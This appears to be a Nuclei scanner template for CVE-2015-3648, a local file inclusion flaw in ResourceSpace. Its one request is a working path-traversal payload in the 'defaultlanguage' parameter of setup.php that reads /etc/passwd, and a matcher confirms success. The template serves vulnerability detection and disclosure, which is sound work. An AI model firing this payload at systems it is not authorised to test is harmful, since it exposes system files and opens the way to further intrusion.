id: CVE-2015-3648

info:
  name: ResourceSpace - Local File inclusion
  author: pikpikcu
  severity: high
  description: ResourceSpace is prone to a local file-inclusion vulnerability because it fails to sufficiently sanitize user-supplied input.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of ResourceSpace to fix the local file inclusion vulnerability.
  reference:
    - https://vulners.com/cve/CVE-2015-3648/
    - http://svn.montala.com/websvn/revision.php?repname=ResourceSpace&path=%2F&rev=6640&peg=6738
    - http://packetstormsecurity.com/files/132142/ResourceSpace-7.1.6513-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3648
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-3648
    cwe-id: CWE-22
    epss-score: 0.02644
    epss-percentile: 0.90124
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: montala
    product: resourcespace
  tags: cve2015,cve,lfi,resourcespace,packetstorm,montala

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220648060aa6f48efed100d6c3af1a59ebd765dd1e5e395decdf098e3b2e8748309022065fdb6859c50c278bb5ead61bdc761c9fe3d5c922cdf04874d98784fe719eeb9:922c64590222798bb761d5b6d8e72950